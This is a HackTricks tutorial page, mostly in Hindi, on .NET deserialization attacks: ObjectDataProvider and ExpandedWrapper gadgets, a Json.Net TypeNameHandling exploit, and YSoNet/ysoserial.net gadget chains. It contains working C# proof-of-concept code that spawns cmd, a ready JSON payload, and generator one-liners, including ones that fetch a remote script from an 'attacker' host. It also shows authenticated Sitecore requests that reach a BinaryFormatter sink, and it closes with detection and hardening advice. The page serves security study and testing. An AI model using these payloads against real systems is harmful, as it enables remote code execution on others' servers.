Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Reading time: 11 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
यह पोस्ट विशेष रूप से यह समझाने के लिए समर्पित है कि कैसे ObjectDataProvider gadget का शोषण करके RCE प्राप्त किया जाता है और कैसे Serialization लाइब्रेरीज़ Json.Net और xmlSerializer उस gadget के साथ दुर्व्यवहार की जा सकती हैं।
ObjectDataProvider Gadget
डॉक्यूमेंटेशन के अनुसार: ObjectDataProvider क्लास एक ऑब्जेक्ट लपेटता है और एक ऐसा ऑब्जेक्ट बनाता है जिसे आप एक बाइंडिंग स्रोत (binding source) के रूप में उपयोग कर सकते हैं.
हाँ, यह एक अजीब व्याख्या है, तो आइए देखें कि इस क्लास में ऐसा क्या है जो दिलचस्प है: यह क्लास किसी भी एक arbitrary object को wrap करने की अनुमति देती है, MethodParameters का उपयोग करके arbitrary parameters सेट कर सकती है, और फिर MethodName का उपयोग करके किसी भी arbitrary object के किसी भी function को उन घोषित किए गए arbitrary parameters के साथ call कर सकती है।
इसलिए, arbitrary object deserialize होते समय parameters के साथ एक function execute करेगा।
यह कैसे संभव है
System.Windows.Data namespace, जो PresentationFramework.dll के भीतर C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF में पाया जाता है, वही जगह है जहाँ ObjectDataProvider परिभाषित और लागू किया गया है।
dnSpy का उपयोग करके आप उस क्लास का code inspect कर सकते हैं जिसमें हमें दिलचस्पी है। नीचे की इमेज में हम देख रहे हैं कि PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name का कोड क्या दिखाता है
.png)
जैसा कि आप देख सकते हैं जब MethodName सेट किया जाता है तो base.Refresh() को कॉल किया जाता है, आइए देखें यह क्या करता है:
.png)
ठीक है, चलिए देखते हैं कि this.BeginQuery() क्या करता है। BeginQuery को ObjectDataProvider द्वारा override किया गया है और यह वही करता है:
.png)
ध्यान दें कि कोड के अंत में यह this.QueryWorke(null) को कॉल कर रहा है। आइए देखें यह क्या execute करता है:
.png)
ध्यान दें कि यह QueryWorker फ़ंक्शन का पूरा कोड नहीं है लेकिन यह उसका रोचक हिस्सा दिखाता है: कोड this.InvokeMethodOnInstance(out ex); को कॉल करता है — यही वह लाइन है जहाँ method set invoke होता है।
यदि आप यह जांचना चाहते हैं कि केवल MethodName सेट करने भर से यह execute हो जाएगा, तो आप यह कोड चला सकते हैं:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll in order to load System.Windows.Data
ExpandedWrapper
Using the previous exploit there will be cases where the object is going to be deserialized as an ObjectDataProvider instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using GetType). Then, will have no knowledge of the object type that is wrapped in the ObjectDataProvider instance (Process for example). You can find more DotNetNuke vuln के बारे में जानकारी यहाँ.
This class allows to specify the object types of the objects that are encapsulated in a given instance. So, this class can be used to encapsulate a source object (ObjectDataProvider) into a new object type and provide the properties we need (ObjectDataProvider.MethodName and ObjectDataProvider.MethodParameters).
यह पहले प्रस्तुत मामलों के लिए बहुत उपयोगी है, क्योंकि we will be able to wrap _ObjectDataProvider** inside an **ExpandedWrapper _ instance and when deserialized this class will create the OjectDataProvider object that will execute the function indicated in MethodName.
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
In the official web page it is indicated that this library allows to Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. इसलिए, अगर हम deserialize the ObjectDataProvider gadget कर पाएँ तो सिर्फ़ एक ऑब्जेक्ट को deserialize करके हम RCE उत्पन्न कर सकते हैं।
Json.Net उदाहरण
सबसे पहले आइए देखें कि इस लाइब्रेरी का उपयोग करके किसी ऑब्जेक्ट को कैसे serialize/deserialize किया जाता है:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Json.Net का दुरुपयोग
मैंने ysoserial.net का उपयोग करके exploit बनाया:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
इस कोड में आप test the exploit कर सकते हैं — बस इसे चलाएँ और आप देखेंगे कि calc निष्पादित होता है:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
ObjectDataProvider + ExpandedWrapper तकनीक जो ऊपर प्रस्तुत की गई है, केवल उन MANY gadget chains में से एक है जिन्हें तब दुरुपयोग किया जा सकता है जब कोई एप्लिकेशन unsafe .NET deserialization करता है। आधुनिक red-team tooling जैसे YSoNet (और पुराना ysoserial.net) दर्जनों gadgets और serialization फ़ॉर्मैट्स के लिए ready-to-use malicious object graphs बनाने को स्वचालित करते हैं।
नीचे YSoNet के साथ भेजे जाने वाले सबसे उपयोगी चेन का संक्षिप्त संदर्भ दिया गया है, साथ ही यह कैसे काम करते हैं इसका त्वरित स्पष्टिकरण और payload जनरेट करने के उदाहरण कमांड दिए गए हैं।
| Gadget Chain | मुख्य विचार / प्रिमिटिव | Common Serializers | YSoNet one-liner |
|---|---|---|---|
| TypeConfuseDelegate | DelegateSerializationHolder रिकॉर्ड को करप्ट करता है ताकि, materialise होने पर, delegate किसी भी attacker-supplied method (उदा. Process.Start) की ओर पॉइंट करे | BinaryFormatter, SoapFormatter, NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
| ActivitySurrogateSelector | System.Workflow.ComponentModel.ActivitySurrogateSelector का दुरुपयोग कर .NET ≥4.8 के type-filtering को bypass करता है और प्रदान की गई क्लास के constructor को सीधे invoke कर सकता है या रन-टाइम पर C# फ़ाइल को compile कर सकता है | BinaryFormatter, NetDataContractSerializer, LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
| DataSetOldBehaviour | System.Data.DataSet के legacy XML प्रतिनिधित्व का उपयोग करके arbitrary types instantiate करने के लिए <ColumnMapping> / <DataType> फ़ील्ड्स को भरता है (वैकल्पिक रूप से --spoofedAssembly से assembly को fake कर सकता है) | LosFormatter, BinaryFormatter, XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
| GetterCompilerResults | WPF-enabled runtimes (> .NET 5) पर property getters को chain करके System.CodeDom.Compiler.CompilerResults तक पहुंचता है, फिर -c के साथ प्रदान किए गए DLL को compile या load करता है | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
| ObjectDataProvider (review) | WPF System.Windows.Data.ObjectDataProvider का उपयोग करके नियंत्रित arguments के साथ किसी arbitrary static method को कॉल करता है। YSoNet एक सुविधाजनक --xamlurl विकल्प जोड़ता है ताकि malicious XAML को रिमोटली host किया जा सके | BinaryFormatter, Json.NET, XAML, etc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
| PSObject (CVE-2017-8565) | ScriptBlock को System.Management.Automation.PSObject में embed करता है जो PowerShell द्वारा object को deserialize करने पर execute होता है | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
सभी payloads डिफ़ॉल्ट रूप से stdout पर लिखे जाते हैं, जिससे इन्हें अन्य tooling (उदा. ViewState generators, base64 encoders, HTTP clients) में pipe करना आसान हो जाता है।
Building / Installing YSoNet
यदि Actions ➜ Artifacts / Releases के तहत कोई pre-compiled binaries उपलब्ध नहीं हैं, तो निम्न PowerShell one-liner build पर्यावरण सेटअप करेगा, repository clone करेगा और सब कुछ Release मोड में compile करेगा:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
The compiled ysonet.exe can then be found under ysonet/bin/Release/.
डिटेक्शन और हार्डनिंग
- पता लगाएँ अनपेक्षित चाइल्ड प्रोसेस के कि
w3wp.exe,PowerShell.exe, या कोई भी प्रोसेस जो उपयोगकर्ता द्वारा दिए गए डेटा को deserialize कर रहा हो (जैसेMessagePack,Json.NET)। - जहाँ संभव हो
type-filteringको सक्षम और लागू करें (TypeFilterLevel= Full, customSurrogateSelector,SerializationBinder, etc.) जब भी पुरानेBinaryFormatter/NetDataContractSerializerको हटाया नहीं जा सके। - जहाँ संभव हो
System.Text.JsonयाDataContractJsonSerializerमें व्हाइटलिस्ट-आधारित converters के साथ स्थानांतरित करें। - उन वेब प्रोसेसों में खतरनाक WPF assemblies (
PresentationFramework,System.Workflow.*) के लोड होने को ब्लॉक करें जिन्हें इनकी ज़रूरत नहीं होनी चाहिए।
वास्तविक दुनिया का sink: Sitecore convertToRuntimeHtml → BinaryFormatter
एक व्यावहारिक .NET sink जो प्रमाणीकृत Sitecore XP Content Editor फ्लो में पहुँचा जा सकता है:
- Sink API:
Sitecore.Convert.Base64ToObject(string)रैप करता हैnew BinaryFormatter().Deserialize(...)। - Trigger path: pipeline
convertToRuntimeHtml→ConvertWebControls, जो एक सिबलिंग तत्व खोजता है जिसकाid="{iframeId}_inner"होता है और एकvalueattribute पढ़ता है जिसे base64‑encoded serialized data माना जाता है। परिणाम को string में cast किया जाता है और HTML में insert किया जाता है।
Minimal end‑to‑end (authenticated):
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: कोई भी BinaryFormatter chain जो string लौटाता है (side‑effects deserialization के दौरान चलते हैं). See YSoNet/ysoserial.net to generate payloads.
For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:
संदर्भ
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks